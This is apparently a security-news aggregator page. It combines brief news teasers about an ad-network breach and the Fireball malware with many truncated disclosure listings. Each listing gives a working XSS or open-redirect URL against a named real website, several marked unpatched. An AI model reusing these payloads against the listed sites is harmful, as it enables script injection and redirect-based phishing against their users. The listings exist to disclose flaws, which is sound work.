Ad Network Sizmek Probes Account Breach

Online advertising firm Sizmek Inc. NASDAQ: SZMK says it is investigating a security incident in which a hacker was reselling access to a user account with the ability to modify ads and analytics for a number of big-name advertisers. In a recent posting to a Russian-language cybercrime forum, an...

photobucket.com XSS vulnerability

Vulnerable URL: http://photobucket.com/images/Keritzy%27%22%3C666%3E%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt/xssposed/%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 07.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

cmsinstant.ru Open Redirect vulnerability

Vulnerable URL: https://cmsinstant.ru/go/url=https://openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.12.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 4944305 VIP website status:| No Coordinated...

iteminconline.com XSS vulnerability

Vulnerable URL: https://www.iteminconline.com/accRegister.asp?from=CheckCookie=xss%22%3E%3Csvg/onload=prompt/openbugbounty/%3E=100= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

Microsoft Says Fireball Malware Threat 'Overblown'

Check Point has ramped down its projections on the impact of the recently disclosed Fireball malware after Microsoft called its initial numbers into question. Details on Fireball were published June 1 by Check Point, which said the malware was the work of a Chinese digital marketing agency called...

meadowlark.com XSS vulnerability

Vulnerable URL: http://www.meadowlark.com/pages-search-result.php?searchkey=%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

reggaerecord.com XSS vulnerability

Vulnerable URL: http://www.reggaerecord.com/en/catalog/index.php?searchtype=fuzzykey=68795201=%22%27--%21%3E%3CScript%2FK%2F%3Econfirm%28%60OPENBUGBOUNTY%60%29%3C%2FScript%2FK%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS...

epaper.rhein-main-presse.de XSS vulnerability

Vulnerable URL: https://epaper.rhein-main-presse.de/archive.act?searchString=a%3E%27%3E%22%3Etr%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E=E111 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability...

harford.edu XSS vulnerability

Vulnerable URL: http://www.harford.edu/search.aspx?q=%3Cscript%3Ealert%28%22OPENBUGBOUNTY%22%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 208472 VIP website...

sislovesme.com XSS vulnerability

Vulnerable URL: http://www.sislovesme.com/t2/?nats=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3EMTA0MDIuNy43NC4xOTEyLjg4LjAuMC4wLjA Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

getcouponcodes.com XSS vulnerability

Vulnerable URL: http://www.getcouponcodes.com/coupon-code/';alert/XSSPOSED///';alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E'%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:|...

safindit.co.za Open Redirect vulnerability

Vulnerable URL: http://www.safindit.co.za/css-security/redirect?url=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 442148 VIP website status...

ssa-archery.be XSS vulnerability

Vulnerable URL: http://www.ssa-archery.be/products.php?cat=HOYT"=brand Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3094343 VIP website status:| No Check ssa-archery.be SSL...

caterer.com Open Redirect vulnerability

Vulnerable URL: http://www.caterer.com/Login/Signout.aspx?ReturnUrl=//www.xssposed.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 44129 Google Pagerank| 5 VIP website...

altecweb.com XSS vulnerability

Vulnerable URL: http://www.altecweb.com/home.asp?thesearch=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3Ejsp+warning+triangle=5 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 539388...

Unfixed XSS vulnerability at lavillette.com

Security researcher 0x73F, has submitted on 12/03/2015 a cross-site-scripting XSS vulnerability affecting lavillette.com, which at the time of submission ranked 431160 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/03/2015. It is currently...

rieger-tuning.de XSS vulnerability

Vulnerable URL: http://www.rieger-tuning.de/shop/article/search?query=" Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 17:39 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 481907 Google Pagerank| 4 VIP websi...

Unfixed XSS vulnerability at library.leeds.ac.uk

Security researcher raVen, has submitted on 16/02/2015 a cross-site-scripting XSS vulnerability affecting library.leeds.ac.uk, which at the time of submission ranked 17850 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/03/2015. It is...

Unfixed XSS vulnerability at www.shopparos.gr

Security researcher d@ydream, has submitted on 14/09/2013 a cross-site-scripting XSS vulnerability affecting www.shopparos.gr, which at the time of submission ranked 16206287 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 23/02/2014. It is...

Unfixed XSS vulnerability at www.jaring.my

Security researcher PlanetCreator, has submitted on 22/06/2013 a cross-site-scripting XSS vulnerability affecting www.jaring.my, which at the time of submission ranked 426894 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/09/2013. It is...